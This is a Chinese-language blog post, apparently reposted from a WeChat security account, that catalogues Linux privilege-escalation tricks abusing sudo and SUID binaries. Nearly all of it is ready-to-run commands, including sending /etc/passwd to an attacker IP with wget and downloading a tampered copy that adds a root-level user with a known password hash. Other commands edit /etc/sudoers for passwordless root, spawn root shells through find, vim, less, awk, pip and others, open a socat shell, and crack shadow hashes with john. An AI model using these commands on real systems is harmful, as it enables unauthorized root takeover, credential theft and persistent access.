漏洞
漏洞提权太多了,且一直更新,常用的有CVE-2016-5195、CVE-2019-14287、CVE-2021-3156、CVE-2021-3560、CVE-2021-4034、CVE-2022-0847、CVE-2022-2639、CVE-2022-23222、CVE-2023-0386等等。
介绍
这次主要针对的是suid和sudo,哪些命令在拥有了suid或者sudo的情况下可以进行权限的提升。后续命令均已sudo为例进行演示。
wget
思路:受害机使用wget把passwd文件发送到攻击机,攻击机添加一条root权限的用户,受害机再将修改后的passwd文件下载回来替换即可。
sudo wget --post-file=/etc/passwd 192.168.75.128
nc -lvp 80 > passwd
test:$1$test$at615QShYKduQlx5z9Zm7/:0:0:,,,:/test:/bin/bash
openssl passwd -1 -salt test 123456
python -m http.server
sudo wget -O /etc/passwd http://192.168.75.128/passwd
su test
find
思路:利用find的exec参数来执行命令。
sudo find /home -exec /bin/bash ;
apt
思路1:使用apt更新前的环境变量配置参数,可执行命令。
sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash
思路2:使用apt的changelog查看相关软件更新日志,进入编辑,通过内联命令行提权。
sudo apt changelog ssh
!/bin/sh
zip
思路:利用zip压缩时提供的unzip-command参数来执行命令。
sudo zip test.zip test.txt -T --unzip-command="sh -c /bin/bash"
time
思路:time可以直接跟sh、bash等命令行。
sudo time /bin/sh
taskset
思路:指定cpu核心后直接运行相关程序即可。
sudo taskset -c 0 /bin/sh
cp
思路:把passwd复制到tmp下,修改添加一个root权限的用户,再把修改后的cp复制回etc。
cd /tmp
sudo cp /etc/passwd ./passwd
echo 'test:$1$test$at615QShYKduQlx5z9Zm7/:0:0:,,,:/test:/bin/bash' >> ./passwd
tail ./passwd
sudo cp ./passwd /etc/passwd
git
思路:进入编辑模式查看帮助文档,调用内网命令行。
sudo git help add
!/bin/sh
pip
思路:写一个python文件去调用sh,然后pip以root权限去install这个python文件。
cd /tmp
mkdir setup
cd setup
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > setup.py
sudo pip install -e .
sed
思路:通过exec执行命令。
sudo sed -n 'e exec sh 1>&0' /tmp/test.txt
ed
思路:直接sudo运行ed,然后输入!/bin/sh进入内联命令行即可。
sudo ed
!/bin/sh
tmux
思路:直接sudo tmux就可以。
sudo tmux
scp
思路1:通过scp的S参数,指定自己的加密脚本实现自定义的加密传输,脚本内容调用sh即可。
echo 'sh 0<&2 1>&2' > ./test.sh
sudo scp -S ./test.sh x y:
思路2:使用scp把passwd文件复制出来,修改起内容,再到回去。
sudo scp /etc/passwd ./
vim ./passwd
test:$1$test$at615QShYKduQlx5z9Zm7/:0:0:,,,:/test:/bin/bash
sudo scp ./passwd /etc/passwd
socat
思路:反弹shell的思路。
nohup sudo socat TCP-LiSTEN:1234 exec:/bin/bash &
sudo socat TCP:127.0.0.1:1234 -
perl
思路:利用exec参数执行命令。
sudo perl -e 'exec "/bin/bash";'
vim
思路:直接修改sudoers文件,给自己添加权限(sudoers打开后会提示只读,可以使用wq!进行强制保存)。
sudo vim /etc/sudoers
test ALL=(root) NOPASSWD: ALL
sudo bash
python
思路:通过import导入pty库,调用bash。
sudo python -c 'import pty;pty.spawn("/bin/bash")'
less
思路:通过less浏览文件内容,底部输入!bash进入命令行。
sudo less /etc/hosts
!bash
awk
思路:通过调用linux的system函数来打开bash.
sudo awk 'BEGIN {system("/bin/bash")}'
man
思路:通过man查看帮助文档,输入!bash进入内联命令行。
sudo man man
!bash
vi
思路:sudo vi进入vi默认页,输入:!bash即可。
sudo vi
:!bash
env
思路:直接sudo env /bin/bash即可。
sudo env /bin/bash
ftp
思路:进入ftp,输入!/bin/bash即可。
sudo ftp
!/bin/bash
其它
上一篇的Linux反弹Shell的一些方法中,理论上都可以,只需要把反弹Shell的IP换成127.0.0.1就成。
暴破
如果有一些编辑文件或查看文件的命令,例如cat这种,则可以查看passwd和shadow的内容,复制出来,使用john破解。
尾
愿大家健康开心,平安喜乐。
原文始发于微信公众号(aFa攻防实验室):Linux提权的一些方法
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论